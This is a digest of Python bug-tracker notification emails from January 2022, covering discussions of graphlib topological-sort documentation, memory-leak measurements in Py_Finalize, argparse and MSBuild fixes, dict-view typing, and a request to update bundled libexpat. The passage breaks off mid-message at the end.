Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 16:57:14 2022 From: report at bugs.python.org (Tim Peters) Date: Thu, 20 Jan 2022 21:57:14 +0000 Subject: [issue46071] Graphlib documentation (edge direction) In-Reply-To: <1639495203.77.0.753963192728.issue46071@roundup.psfhosted.org> Message-ID: <1642715834.77.0.799191692735.issue46071@roundup.psfhosted.org> Tim Peters added the comment: For the purpose of topological sorting, yes, it's by far most natural to give, for each node, the collection of that node's predecessors. And that's the way topsort applications typically collect their data to begin with, like, "here, for each recipe, is a list of ingredients needed first" or "before we can begin this job, here are the other jobs that need to complete first". or, as in makefiles, "here's a list of the targets that need to be built before we can start building the current target". I definitely don't want to change the wording, because it's bog standard as is. For example, Wikipedia's "topological sorting" entry is typical: """ In computer science, a topological sort or topological ordering of a directed graph is a linear ordering of its vertices such that for every directed edge uv from vertex u to vertex v, u comes before v in the ordering. """ It's what topsort _means_. We did not intend to implement a "reverse topsort" algorithm, and I see no attraction to doing so, neither in pretending we did so. If the way the user collects their data stores only successor links (which, as above, seems odd in applications that actually use topsorts), then they need something like this instead: ts = TopologicalSorter() for u, successors in my_forward_graph.items(): for v in successors: ts.add(v, u) But that's something I never needed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 17:15:08 2022 From: report at bugs.python.org (Tal Einat) Date: Thu, 20 Jan 2022 22:15:08 +0000 Subject: [issue46086] Add ratio_min() function to the difflib library In-Reply-To: <1639589834.45.0.869314940446.issue46086@roundup.psfhosted.org> Message-ID: <1642716908.94.0.44545176318.issue46086@roundup.psfhosted.org> Tal Einat added the comment: I'm closing this for now since nobody has followed up and to the best of my understanding this wouldn't be an appropriate addition to the stdlib. This can be re-opened in the future if needed, of course. ---------- resolution: -> rejected stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 17:17:56 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 20 Jan 2022 22:17:56 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642717076.53.0.493804899126.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: I checked with Valgrind the affect of PR 30645. main branch: ==330902== LEAK SUMMARY: ==330902== possibly lost: 29,128 bytes in 494 blocks ==330902== still reachable: 353,615 bytes in 3,577 blocks With the PR: ==332161== LEAK SUMMARY: ==332161== possibly lost: 24,456 bytes in 417 blocks ==332161== still reachable: 337,223 bytes in 3,423 blocks It frees 21,064 bytes (20 kB) in Py_Finalize(). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 17:21:22 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 20 Jan 2022 22:21:22 +0000 Subject: [issue46070] [subinterpreters] crash when importing _sre in subinterpreters in parallel (Python 3.9 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1642717282.72.0.0375694682764.issue46070@roundup.psfhosted.org> STINNER Victor added the comment: Another measure using the command: PYTHONHASHSEED=0 ./python -X showrefcount -c pass I had to run the command 20 times to get a stable value, I don't know why. main branch: [21981 refs, 5716 blocks] PR: [21887 refs, 5667 blocks] => the PR removes 94 references and 49 memory blocks. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 17:28:01 2022 From: report at bugs.python.org (Tal Einat) Date: Thu, 20 Jan 2022 22:28:01 +0000 Subject: [issue41857] Document timeout arguments to poll() in select module In-Reply-To: <1600999200.88.0.890857154586.issue41857@roundup.psfhosted.org> Message-ID: <1642717681.72.0.255279337025.issue41857@roundup.psfhosted.org> Change by Tal Einat : ---------- versions: +Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 17:33:07 2022 From: report at bugs.python.org (Tal Einat) Date: Thu, 20 Jan 2022 22:33:07 +0000 Subject: [issue40529] Auto Completions with case insensitive In-Reply-To: <1588768459.35.0.455156839892.issue40529@roundup.psfhosted.org> Message-ID: <1642717987.21.0.324917052764.issue40529@roundup.psfhosted.org> Change by Tal Einat : ---------- Removed message: https://bugs.python.org/msg382482 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 17:33:05 2022 From: report at bugs.python.org (Tal Einat) Date: Thu, 20 Jan 2022 22:33:05 +0000 Subject: [issue40529] Auto Completions with case insensitive In-Reply-To: <1588768459.35.0.455156839892.issue40529@roundup.psfhosted.org> Message-ID: <1642717985.28.0.501508269059.issue40529@roundup.psfhosted.org> Change by Tal Einat : ---------- Removed message: https://bugs.python.org/msg382481 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 17:34:28 2022 From: report at bugs.python.org (Tal Einat) Date: Thu, 20 Jan 2022 22:34:28 +0000 Subject: [issue40529] Auto Completions with case insensitive In-Reply-To: <1588768459.35.0.455156839892.issue40529@roundup.psfhosted.org> Message-ID: <1642718068.85.0.921306309073.issue40529@roundup.psfhosted.org> Tal Einat added the comment: This should probably be brought up in the python-ideas mailing list, which is much more active than the group on discuss.python.org. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 17:48:56 2022 From: report at bugs.python.org (Tal Einat) Date: Thu, 20 Jan 2022 22:48:56 +0000 Subject: [issue46080] argparse.BooleanOptionalAction with default=argparse.SUPPRESS and help specified raises exception In-Reply-To: <1639549771.77.0.946249381009.issue46080@roundup.psfhosted.org> Message-ID: <1642718936.22.0.899804746561.issue46080@roundup.psfhosted.org> Tal Einat added the comment: New changeset 9e87c0e03fa501fb90008547983ce4c1dcaaf90c by Felix Fontein in branch 'main': bpo-46080: fix argparse help generation exception in edge case (GH-30111) https://github.com/python/cpython/commit/9e87c0e03fa501fb90008547983ce4c1dcaaf90c ---------- nosy: +taleinat _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 17:48:56 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 20 Jan 2022 22:48:56 +0000 Subject: [issue46080] argparse.BooleanOptionalAction with default=argparse.SUPPRESS and help specified raises exception In-Reply-To: <1639549771.77.0.946249381009.issue46080@roundup.psfhosted.org> Message-ID: <1642718936.67.0.679203487893.issue46080@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +28917 pull_request: https://github.com/python/cpython/pull/30730 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 17:49:02 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 20 Jan 2022 22:49:02 +0000 Subject: [issue46080] argparse.BooleanOptionalAction with default=argparse.SUPPRESS and help specified raises exception In-Reply-To: <1639549771.77.0.946249381009.issue46080@roundup.psfhosted.org> Message-ID: <1642718942.16.0.37641380889.issue46080@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28918 pull_request: https://github.com/python/cpython/pull/30731 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 17:53:07 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 20 Jan 2022 22:53:07 +0000 Subject: [issue23162] collections.abc sequences don't check identity before equality In-Reply-To: <1420358706.85.0.46487014677.issue23162@psf.upfronthosting.co.za> Message-ID: <1642719187.37.0.85707614817.issue23162@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> Test identity first in membership operation of ItemsView, ValuesView and Sequence in collections.abc _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 17:55:09 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 20 Jan 2022 22:55:09 +0000 Subject: [issue24527] The MimeTypes class cannot ignore global files per instance In-Reply-To: <1435576307.84.0.535097012645.issue24527@psf.upfronthosting.co.za> Message-ID: <1642719309.71.0.616186174133.issue24527@roundup.psfhosted.org> Change by Irit Katriel : ---------- type: behavior -> enhancement versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 18:08:52 2022 From: report at bugs.python.org (Tal Einat) Date: Thu, 20 Jan 2022 23:08:52 +0000 Subject: [issue41857] Document timeout arguments to poll() in select module In-Reply-To: <1600999200.88.0.890857154586.issue41857@roundup.psfhosted.org> Message-ID: <1642720132.87.0.0192869628477.issue41857@roundup.psfhosted.org> Tal Einat added the comment: New changeset 27df7566bc19699b967e0e30d7808637b90141f6 by Zane Bitter in branch 'main': bpo-41857: mention timeout argument units in select.poll() and select.depoll() doc-strings (GH-22406) https://github.com/python/cpython/commit/27df7566bc19699b967e0e30d7808637b90141f6 ---------- nosy: +taleinat _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 18:10:11 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 20 Jan 2022 23:10:11 +0000 Subject: [issue7275] CoverageResult fails to merge input file with non-empty callers in trace.py In-Reply-To: <1257531121.53.0.200338110704.issue7275@psf.upfronthosting.co.za> Message-ID: <1642720211.63.0.0286841167133.issue7275@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +easy -patch versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 18:10:32 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 20 Jan 2022 23:10:32 +0000 Subject: [issue7275] CoverageResult fails to merge input file with non-empty callers in trace.py In-Reply-To: <1257531121.53.0.200338110704.issue7275@psf.upfronthosting.co.za> Message-ID: <1642720232.13.0.55118396284.issue7275@roundup.psfhosted.org> Irit Katriel added the comment: The patch needs to be converted to a GitHub PR. ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 18:13:25 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 20 Jan 2022 23:13:25 +0000 Subject: [issue46080] argparse.BooleanOptionalAction with default=argparse.SUPPRESS and help specified raises exception In-Reply-To: <1639549771.77.0.946249381009.issue46080@roundup.psfhosted.org> Message-ID: <1642720405.74.0.0711292806667.issue46080@roundup.psfhosted.org> miss-islington added the comment: New changeset e5edc8d737a45d9d8b9b93b8be52f85d79d0f417 by Miss Islington (bot) in branch '3.10': bpo-46080: fix argparse help generation exception in edge case (GH-30111) https://github.com/python/cpython/commit/e5edc8d737a45d9d8b9b93b8be52f85d79d0f417 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 18:17:25 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 20 Jan 2022 23:17:25 +0000 Subject: [issue27302] csv.Sniffer guesses wrong when unquoted fields contain quotes In-Reply-To: <1465748432.82.0.331643864863.issue27302@psf.upfronthosting.co.za> Message-ID: <1642720645.48.0.712281162189.issue27302@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 18:20:43 2022 From: report at bugs.python.org (jhwang) Date: Thu, 20 Jan 2022 23:20:43 +0000 Subject: [issue46448] TypedDict inspect.signature error Message-ID: <1642720843.6.0.598679137786.issue46448@roundup.psfhosted.org> New submission from jhwang : I have Python 3.10.1 (Dec, 2021) installed and I see an error when inspecting signature of TypedDict class. This is the same issue reported on Issue43006 (msg385535 - (view)). It was marked as resolved but the error looks persistent. Can someone confirm if this was fixed or any release version with the fix? import inspect class T(typing.TypedDict): a: int print(inspect.signature(T)) was `(*args, **kwargs)` and now raises `ValueError: no signature found for builtin type ` ---------- components: Library (Lib) messages: 411056 nosy: jhwang priority: normal severity: normal status: open title: TypedDict inspect.signature error versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 18:22:57 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 20 Jan 2022 23:22:57 +0000 Subject: [issue46080] argparse.BooleanOptionalAction with default=argparse.SUPPRESS and help specified raises exception In-Reply-To: <1639549771.77.0.946249381009.issue46080@roundup.psfhosted.org> Message-ID: <1642720977.84.0.969772609086.issue46080@roundup.psfhosted.org> miss-islington added the comment: New changeset c6691a7ccbd027298ea2486014b55db037fffc9f by Miss Islington (bot) in branch '3.9': bpo-46080: fix argparse help generation exception in edge case (GH-30111) https://github.com/python/cpython/commit/c6691a7ccbd027298ea2486014b55db037fffc9f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 18:32:38 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 20 Jan 2022 23:32:38 +0000 Subject: [issue28982] multiprocessing.Queue.get(block=True, timeout=0) always raises queue.Empty In-Reply-To: <1481834665.78.0.584713250682.issue28982@psf.upfronthosting.co.za> Message-ID: <1642721558.15.0.588442853149.issue28982@roundup.psfhosted.org> Irit Katriel added the comment: On 3.11 I get this on both Mac and windows: >>> from multiprocessing import Queue >>> q = Queue() >>> q.put('foo') >>> q.get(True, 0) # raises Empty 'foo' ---------- nosy: +iritkatriel resolution: -> out of date status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 18:41:45 2022 From: report at bugs.python.org (neonene) Date: Thu, 20 Jan 2022 23:41:45 +0000 Subject: [issue46427] Correct MSBuild's configuration for _freeze_module.exe In-Reply-To: <1642539207.01.0.739472592427.issue46427@roundup.psfhosted.org> Message-ID: <1642722105.08.0.763369435071.issue46427@roundup.psfhosted.org> neonene added the comment: > When cross-compiling, tools that are executed as part of the build need to be built for the tool platform, not the target platform. My PR does not against that at this point, as proposed codes are based on your PR28322 (09b4ad11f323f8702cde795e345b75e0fbb1a9a5). If we now need to prepare for future MSVC *on* ARM, then current _freeze_module configurations in "pcbuild.sln" also need to be reconsidered: {19C0C13F-47CA-4432-AFF3-799A296A4DDC}.Debug|ARM.ActiveCfg = Debug|Win32 {19C0C13F-47CA-4432-AFF3-799A296A4DDC}.Debug|ARM.Build.0 = Debug|Win32 {19C0C13F-47CA-4432-AFF3-799A296A4DDC}.Debug|ARM64.ActiveCfg = Debug|x64 {19C0C13F-47CA-4432-AFF3-799A296A4DDC}.Debug|ARM64.Build.0 = Debug|x64 {19C0C13F-47CA-4432-AFF3-799A296A4DDC}.PGInstrument|ARM.ActiveCfg = Release|Win32 {19C0C13F-47CA-4432-AFF3-799A296A4DDC}.PGInstrument|ARM.Build.0 = Release|Win32 {19C0C13F-47CA-4432-AFF3-799A296A4DDC}.PGInstrument|ARM64.ActiveCfg = Release|x64 {19C0C13F-47CA-4432-AFF3-799A296A4DDC}.PGInstrument|ARM64.Build.0 = Release|x64 {19C0C13F-47CA-4432-AFF3-799A296A4DDC}.PGUpdate|ARM.ActiveCfg = Release|Win32 {19C0C13F-47CA-4432-AFF3-799A296A4DDC}.PGUpdate|ARM64.ActiveCfg = Release|x64 {19C0C13F-47CA-4432-AFF3-799A296A4DDC}.Release|ARM.ActiveCfg = Release|Win32 {19C0C13F-47CA-4432-AFF3-799A296A4DDC}.Release|ARM.Build.0 = Release|Win32 {19C0C13F-47CA-4432-AFF3-799A296A4DDC}.Release|ARM64.ActiveCfg = Release|x64 {19C0C13F-47CA-4432-AFF3-799A296A4DDC}.Release|ARM64.Build.0 = Release|x64 Anyway, what I care about is the usage of "PreferredToolArchitecture" property in the current configuration. The property has nothing to do with whether the host is ARM* or not. Another property will do in the future. When building x86 python with 64bit compiler (set PreferredToolArchitecture=x64), _freeze_module gets a x64 executable. The following change is acceptable? - $(PreferredToolArchitecture) + They are the same with no envvar. _freeze_module is always 32bit, though. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 18:42:51 2022 From: report at bugs.python.org (David Mc Dougall) Date: Thu, 20 Jan 2022 23:42:51 +0000 Subject: [issue46071] Graphlib documentation (edge direction) In-Reply-To: <1639495203.77.0.753963192728.issue46071@roundup.psfhosted.org> Message-ID: <1642722171.19.0.241816665995.issue46071@roundup.psfhosted.org> David Mc Dougall added the comment: The "reverse-toposort" is actually quite a good idea. The end-user is usually going to want to iterate over the sorted output in the "reverse" order anyways, especially if they're doing task ordering / dependency resolution. Also, the underlying algorithm produces the "reverse" ordering by default. In my experience from writing and using my own topological sorting programs using the "correct" definition: the toposorter reverses the list, and then the users iterates over it in reverse order. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 18:48:47 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 20 Jan 2022 23:48:47 +0000 Subject: [issue19479] textwrap.dedent doesn't work properly with strings containing CRLF In-Reply-To: <1383403818.41.0.713007913793.issue19479@psf.upfronthosting.co.za> Message-ID: <1642722527.05.0.592989041451.issue19479@roundup.psfhosted.org> Change by Irit Katriel : ---------- type: behavior -> enhancement versions: +Python 3.11 -Python 2.7, Python 3.3 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 19:12:55 2022 From: report at bugs.python.org (Ned Deily) Date: Fri, 21 Jan 2022 00:12:55 +0000 Subject: [issue46400] Please update bundled libexpat to 2.4.3 with security fixes In-Reply-To: <1642350760.98.0.31451148779.issue46400@roundup.psfhosted.org> Message-ID: <1642723975.94.0.254336131975.issue46400@roundup.psfhosted.org> Ned Deily added the comment: The bundled expat is potentially used by all Python builds, not just Windows or Mac builds. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 19:14:18 2022 From: report at bugs.python.org (Ned Deily) Date: Fri, 21 Jan 2022 00:14:18 +0000 Subject: [issue46400] Please update bundled libexpat to 2.4.3 with security fixes In-Reply-To: <1642350760.98.0.31451148779.issue46400@roundup.psfhosted.org> Message-ID: <1642724058.17.0.829329137554.issue46400@roundup.psfhosted.org> Change by Ned Deily : ---------- nosy: -ned.deily, paul.moore, ronaldoussoren, steve.dower, tim.golden, zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 19:26:51 2022 From: report at bugs.python.org (David Mc Dougall) Date: Fri, 21 Jan 2022 00:26:51 +0000 Subject: [issue46071] Graphlib documentation (edge direction) In-Reply-To: <1639495203.77.0.753963192728.issue46071@roundup.psfhosted.org> Message-ID: <1642724811.82.0.109132459247.issue46071@roundup.psfhosted.org> David Mc Dougall added the comment: > If the way the user collects their data stores only successor links (which, as above, seems odd in applications that actually use topsorts), then they need something like this instead: Actually they only need to do this: ts = TopologicalSorter(my_forward_graph).static_order() ts = reversed(ts) I think part of the issue here is that the document uses two terms to describe the same thing: "predecessor" and "edge-direction". Everywhere it discusses predecessors it gets it right, but the edge direction is hopelessly confused because they tried to use the "normal" definition of topo-sort and the only way to make that work is to also reverse the direction of the graph's edges to compensate (and the two reversals cancel each other out). The edge direction is only mentioned twice in the whole document, once to define topo-sort and again to define the graph format. If the users problem fits into the task dependency paradigm, then this library makes a lot of sense. But for users who just have a directed graph, the documentation is really really confusing. I think it would be much better if the document explained that this was a "reversed" topological sort with a slightly different definition, and used a "bog standard" graph format like for example in this tutorial: https://www.python.org/doc/essays/graphs/ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 19:38:58 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 00:38:58 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642725538.32.0.0834945717591.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: Another measure using the command: PYTHONHASHSEED=0 ./python -X showrefcount -c pass I had to run the command 20 times to get a stable value, I don't know why. main branch: [21981 refs, 5716 blocks] PR: [21887 refs, 5667 blocks] => the PR removes 94 references and 49 memory blocks. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 19:39:17 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 00:39:17 +0000 Subject: [issue46070] [subinterpreters] crash when importing _sre in subinterpreters in parallel (Python 3.9 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1642725557.12.0.751902140797.issue46070@roundup.psfhosted.org> Change by STINNER Victor : ---------- Removed message: https://bugs.python.org/msg411050 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 19:42:35 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 00:42:35 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642725755.74.0.856052096755.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: New changeset e9e3eab0b868c7d0b48e472705024240d5c39d5c by Victor Stinner in branch 'main': bpo-46417: Finalize structseq types at exit (GH-30645) https://github.com/python/cpython/commit/e9e3eab0b868c7d0b48e472705024240d5c39d5c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 19:49:38 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 00:49:38 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642726178.8.0.94446639329.issue46417@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28919 pull_request: https://github.com/python/cpython/pull/30732 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 20:08:45 2022 From: report at bugs.python.org (Inada Naoki) Date: Fri, 21 Jan 2022 01:08:45 +0000 Subject: [issue46399] Addition of `mapping` attribute to dict views classes has inadvertently broken type-checkers In-Reply-To: <1642341319.06.0.115818889997.issue46399@roundup.psfhosted.org> Message-ID: <1642727325.35.0.0362284313892.issue46399@roundup.psfhosted.org> Inada Naoki added the comment: > If we literally ignore the attribute, any usage of `.mapping` will be an error, which basically makes the whole `.mapping` feature useless for statically typed code. It also wouldn't appear in IDE autocompletions. `.mapping` is not exist between Python 3.0~3.9. And it is not feature that is long awaited by many users. See https://bugs.python.org/issue40890#msg370841 Raymond said: Traditionally, we do expose wrapped objects: property() exposes fget, partial() exposes func, bound methods expose __func__, ChainMap() exposes maps, etc. Exposing this attribute would help with introspection, making it possible to write efficient functions that operate on dict views. Type hints is very useful for application code, especially when it is large. But introspection is very rarely used in such typed code bases. I don't think `.mapping` is useful for many users, like `.fget` of the property. So adding `# type: ignore` in such lines is the "lesser evil". > If we add it to `KeysView` and `ValuesView`, library authors will end up using `.mapping` with arguments annotated as `Mapping` or `MutableMapping`, not realizing it is purely a dict thing, not required from an arbitrary mapping object. It doesn't make sense at all, IMO. If we really need `.mapping` in typeshed, we should add it to `KeysViewWithMapping`. So mapping classes that don't inherit dict shouldn't be forced to implement `.mapping`. > If we keep `.mapping` in dict but not anywhere else, as described already, it becomes difficult to override .keys() and .values() in a dict subclass. You can't just return a KeysView or a ValuesView. If that was allowed, how should people annotate code that uses `.mapping`? You can't annotate with `dict`, because that also allows subclasses of dict, which might not have a `.mapping` attribute. `# type: ignore`. > Yet another option would be to expose `dict_keys` and `dict_values` somewhere where they don't actually exist at runtime. This leads to code like this: > > from typing import Any, TYPE_CHECKING > if TYPE_CHECKING: > # A lie for type checkers to work. > from something_that_doesnt_exist_at_runtime import dict_keys, dict_values > else: > # Runtime doesn't check type annotations anyway. > dict_keys = Any > dict_values = Any > > While this works, it isn't very pretty. What problem this problem solve? `SortedDict.keys()` can not return `dict_keys`. As far as I think, your motivation is making dict subclass happy with type checkers. But this option doesn't make dict subclass happy at all. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 20:12:27 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 01:12:27 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642727547.58.0.309743462731.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 6415e2ee4955b1a995c1e75544e2506b03780c3d by Victor Stinner in branch 'main': bpo-46417: _testembed.c avoids Py_SetProgramName() (GH-30732) https://github.com/python/cpython/commit/6415e2ee4955b1a995c1e75544e2506b03780c3d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 20:19:46 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 01:19:46 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642727986.25.0.782689716282.issue46417@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28920 pull_request: https://github.com/python/cpython/pull/30733 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 20:21:16 2022 From: report at bugs.python.org (Mehdi2277) Date: Fri, 21 Jan 2022 01:21:16 +0000 Subject: [issue45384] Accept Final as indicating ClassVar for dataclass In-Reply-To: <1633474802.74.0.28935369268.issue45384@roundup.psfhosted.org> Message-ID: <1642728076.7.0.775989051938.issue45384@roundup.psfhosted.org> Mehdi2277 added the comment: I recently hit this issue working on a config/parsing runtime type checking library (similar in spirit to pydantic). The one other special typeform I was using these with that led me to discover this issue was Annotated. I use Annotated a fair amount to do some runtime analysis and I was used to `Annotated[typeform]` always works. But ClassVar and Final are special and `Annotated[ClassVar[...]] `and `Annotated[Final[...]]` both fail. I find `Annotated` interaction also weird. I ended up working around it by doing `ClassVar[Annotated[...]]` and stripping the classvar/final to look for the annotation metadata. I think all 3 of annotated/final/classvar should be order compatible as they all serve to add information on the type they contain. If we ignore Annotated, I would say ClassVar/Final should be order compatible and a rule that Final[ClassVar[...]] works but not ClassVar[Final[...]] or vice versa would be weird. ---------- nosy: +med2277 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 20:23:05 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 01:23:05 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642728185.87.0.274704585709.issue46417@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28921 pull_request: https://github.com/python/cpython/pull/30734 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 20:29:27 2022 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 21 Jan 2022 01:29:27 +0000 Subject: [issue46399] Addition of `mapping` attribute to dict views classes has inadvertently broken type-checkers In-Reply-To: <1642341319.06.0.115818889997.issue46399@roundup.psfhosted.org> Message-ID: <1642728567.21.0.838436372213.issue46399@roundup.psfhosted.org> Change by Guido van Rossum : ---------- nosy: -gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 20:37:32 2022 From: report at bugs.python.org (Tim Peters) Date: Fri, 21 Jan 2022 01:37:32 +0000 Subject: [issue46071] Graphlib documentation (edge direction) In-Reply-To: <1639495203.77.0.753963192728.issue46071@roundup.psfhosted.org> Message-ID: <1642729052.8.0.28733382241.issue46071@roundup.psfhosted.org> Tim Peters added the comment: I'm going to leave this to Pablo - adding the `graph` argument was his idea ;-) It would, I think, have been better if this argument had been named, say, "preds" instead of "graph". The docs, to my eyes, are entirely clear about that `graph` is a representation based on mapping a node to its predecessors: """ If the optional graph argument is provided it must be a dictionary representing a directed acyclic graph where the keys are nodes and the values are iterables of all predecessors of that node in the graph (the nodes that have edges that point to the value in the key). """ but it could perhaps be usefully emphasized that "the usual" graph representation in Python maps a node to its successors instead. The stuff about "direction" continues to make no sense to me, though. The class computes the (forward!) topsort of the graph passed to it, given that the graph is presented as mapping nodes to predecessors. It's only "reversed" if you refuse to believe the docs, and insist that `graph` is mapping a node to its successors. But it's not. >>> import graphlib >>> ts = graphlib.TopologicalSorter({'A' : ['B']}) >>> list(ts.static_order()) ['B', 'A'] Nothing is "reversed". The argument passed is the predecessor form of the graph B -> A, and [B, A] is the forward topsort of that graph. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 20:48:16 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Fri, 21 Jan 2022 01:48:16 +0000 Subject: [issue22833] The decode_header() function decodes raw part to bytes or str, depending on encoded part In-Reply-To: <1415587360.95.0.777626227555.issue22833@psf.upfronthosting.co.za> Message-ID: <1642729696.19.0.0234495672381.issue22833@roundup.psfhosted.org> Jelle Zijlstra added the comment: This behavior is definitely unfortunate, but by now it's also been baked into more than a decade of Python 3 releases, so backward compatibility constraints make it difficult to fix. How can we be sure this change won't break users' code? For reference, here are a few uses of the function I found in major open-source packages: - https://github.com/httplib2/httplib2/blob/cde9e87d8b2c4c5fc966431965998ed5f45d19c7/python3/httplib2/__init__.py#L1608 - this assumes it only ever hits the (bytes, encoding) case. - https://github.com/cherrypy/cherrypy/blob/98929b519fbca003cbf7b14a6b370a3cabc9c412/cherrypy/lib/httputil.py#L258 - this assumes it only gets (str, None) or (bytes, encoding) pairs, which seems unsafe. But if it currently sees (str, None) and would see (bytes, None) with this change, it would break. An alternative solution could be a new function with a sane return type. Even if we decide to not change anything, we should document the surprising return type at https://docs.python.org/3.10/library/email.header.html. ---------- nosy: +Jelle Zijlstra _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 20:51:12 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 01:51:12 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642729872.11.0.203039462454.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 